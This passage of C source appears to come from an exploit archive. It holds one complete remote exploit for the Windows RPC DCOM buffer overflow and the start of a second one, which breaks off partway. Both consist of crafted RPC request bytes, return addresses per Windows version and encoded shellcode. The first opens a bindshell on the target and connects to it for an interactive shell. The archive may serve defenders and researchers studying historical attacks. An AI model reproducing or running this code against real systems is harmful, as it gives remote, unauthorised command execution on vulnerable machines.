,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* end xfocus */
int type=0;
struct
{
char *os;
u_long ret;
}
targets[] =
{
{ "[Win2k-Universal]", 0x0018759F },
{ "[WinXP-Universal]", 0x0100139d },
}, v;
void usage(char *prog)
{
int i;
printf("RPC DCOM exploit coded by .:[oc192.us]:. Security\n");
printf("Usage:\n\n");
printf("%s -d <host> [options]\n", prog);
printf("Options:\n");
printf(" -d: Hostname to attack [Required]\n");
printf(" -t: Type [Default: 0]\n");
printf(" -r: Return address [Default: Selected from target]\n");
printf(" -p: Attack port [Default: 135]\n");
printf(" -l: Bindshell port [Default: 666]\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf(" %d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os);
exit(0);
}
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff" /* return address */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
/* bindshell no RPC crash, defineable spawn port */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
/* xfocus start */
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* end xfocus */
/* Not ripped from teso =) */
void con(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;
FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
while(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
if(FD_ISSET(sockfd, &fdreadme))
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if(write(1, rb, i) < 0) break;
}
if(FD_ISSET(0, &fdreadme))
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if (send(sockfd, rb, i, 0) < 0) break;
}
usleep(10000);
}
printf("[-] Connection closed by foreign host..\n");
exit(0);
}
int main(int argc, char **argv)
{
int len, len1, sockfd, c, a;
unsigned long ret;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short lportl=666; /* drg */
char lport[4] = "\x00\xFF\xFF\x8b"; /* drg */
struct hostent *he;
struct sockaddr_in their_addr;
static char *hostname=NULL;
if(argc<2)
{
usage(argv[0]);
}
while((c = getopt(argc, argv, "d:t:r:p:l:"))!= EOF)
{
switch (c)
{
case 'd':
hostname = optarg;
break;
case 't':
type = atoi(optarg);
if((type > 1) || (type < 0))
{
printf("[-] Select a valid target:\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s\n", a, targets[a].ret, targets[a].os);
return 1;
}
break;
case 'r':
targets[type].ret = strtoul(optarg, NULL, 16);
break;
case 'p':
port = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535\n");
return 1;
}
break;
case 'l':
lportl = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535\n");
return 1;
}
break;
default:
usage(argv[0]);
return 1;
}
}
if(hostname==NULL)
{
printf("[-] Please enter a hostname with -d\n");
exit(1);
}
printf("RPC DCOM remote exploit - .:[oc192.us]:. Security\n");
printf("[+] Resolving host..\n");
if((he = gethostbyname(hostname)) == NULL)
{
printf("[-] gethostbyname: Couldnt resolve hostname\n");
exit(1);
}
printf("[+] Done.\n");
printf("-- Target: %s:%s:%i, Bindshell:%i, RET=[0x%.8x]\n",
targets[type].os, hostname, port, lportl, targets[type].ret);
/* drg */
lportl=htons(lportl);
memcpy(&lport[1], &lportl, 2);
*(long*)lport = *(long*)lport ^ 0x9432BF80;
memcpy(&sc[471],&lport,4);
memcpy(sc+36, (unsigned char *) &targets[type].ret, 4);
their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = htons(port);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}
if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
perror("[-] Connect failed");
return(0);
}
/* xfocus start */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
/* end xfocus */
if (send(sockfd,bindstr,sizeof(bindstr),0)== -1)
{
perror("[-] Send failed");
return(0);
}
len=recv(sockfd, buf1, 1000, 0);
if (send(sockfd,buf2,len1,0)== -1)
{
perror("[-] Send failed");
return(0);
}
close(sockfd);
sleep(1);
their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = lportl;
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}
if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
printf("[-] Couldnt connect to bindshell, possible reasons:\n");
printf(" 1: Host is firewalled\n");
printf(" 2: Exploit failed\n");
return(0);
}
printf("[+] Connected to bindshell..\n\n");
sleep(2);
printf("-- bling bling --\n\n");
con(sockfd);
return(0);
}
// milw0rm.com [2003-08-07]
Exploit Database EDB-ID : 64
Date de publication : 2003-07-24 22h00 +00:00
Auteur : Flashsky
EDB Vérifié : Yes
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
#pragma comment(lib,"ws2_32")
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned int jmpesp_cn_sp3 = "\x29\x2c\xe2\x77";
unsigned int jmpesp_cn_sp4 = "\x29\x4c\xdf\x77";
unsigned int jmpesp_en_xp_sp1="\xdb\x37\xd7\x77";
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\x29\x4c\xdf\x77"//jmp esp 's address on Windows 2k SP4 Chinese version.
"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //should be address which can be written.
//here is SHELLCODE_¿we can use our SHELLCODE_¿but the length must be sizeof(shellcode)%16=12
,if not please fill with 0x90
//SHELLCODE can't has the code such as 0X00 and 0X5C
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\x93\x40\xe2\xfa"
// code
"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
"\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
"\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
